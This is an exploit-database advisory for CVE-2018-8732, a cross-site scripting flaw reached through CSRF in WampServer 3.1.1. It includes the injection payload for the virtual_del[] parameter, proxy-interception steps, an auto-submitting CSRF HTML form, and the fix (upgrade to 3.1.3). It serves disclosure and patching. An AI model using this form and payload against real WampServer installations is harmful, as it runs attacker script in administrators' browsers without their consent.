WampServer 3.1.1 XSS via CSRF

vendor:

WampServer

by:

Vipin Chaudhary

5.4

CVSS

MEDIUM

Cross Site Scripting

CWE

Product Name: WampServer

Affected Version From: 3.1.1

Affected Version To: 3.1.1

Patch Exists: YES

Related CWE: CVE-2018-8732

CPE: a:wampserver:wampserver:3.1.1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2018

WampServer 3.1.1 XSS via CSRF

XSS: cross site scripting via CSRF is remotely exploitable. An attacker can exploit this vulnerability by intercepting the request using a proxy tool and changing the value of the parameter virtual_del[] to '><img src=x onerror=alert(1)>' and forwarding it. This will trigger the XSS vulnerability.

Mitigation:

Update to version 3.1.3

Source

Exploit-DB raw data:

 # Exploit Title: WampServer 3.1.1 XSS via CSRF
# Date: 31-03-2018
# Software Link: http://www.wampserver.com/en/
# Version: 3.1.1
# Tested On: Windows 10
# Exploit Author: Vipin Chaudhary
# Contact: http://twitter.com/vipinxsec
# Website: http://medium.com/@vipinxsec
# CVE: CVE-2018-8732


1. Description

XSS: cross site scripting via CSRF is remotely exploitable.
http://forum.wampserver.com/read.php?2,138295,150615,page=6#msg-150615

http://forum.wampserver.com/read.php?2,150617

2. Proof of Concept


How to exploit this XSS vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Go to Supress Virtual host and select one to delete and then intercept
the request using burp suite or any other proxy tool
3. Change the value of parameter *virtual_del[] *to "><img src=x
onerror=alert(1)> and forward it then you will see the XSS triggered.

How to see it:
1. Copy and paste this CSRF request in notepad and save it as anything.html
<html>
  <body onload="wamp_csrf.submit();">
    <form action="[localhost]; name="wamp_csrf" method="POST">
      <input type="hidden" name="virtual&#95;del&#91;&#93;"
value=""><img&#32;src&#61;x&#32;onerror&#61;alert&#40;1&#41;>"
/>
      <input type="hidden" name="vhostdelete"
value="Suppress&#32;VirtualHost" />
    </form>
  </body>
</html>

Warning: action="[localhost] is action='
http://localhost/add_vhost.php?lang=english' replacing simple quotes(') by
double quote("[image: winking smiley]


3. Solution:

Update to version 3.1.3
http://www.wampserver.com/en/#download-wrapper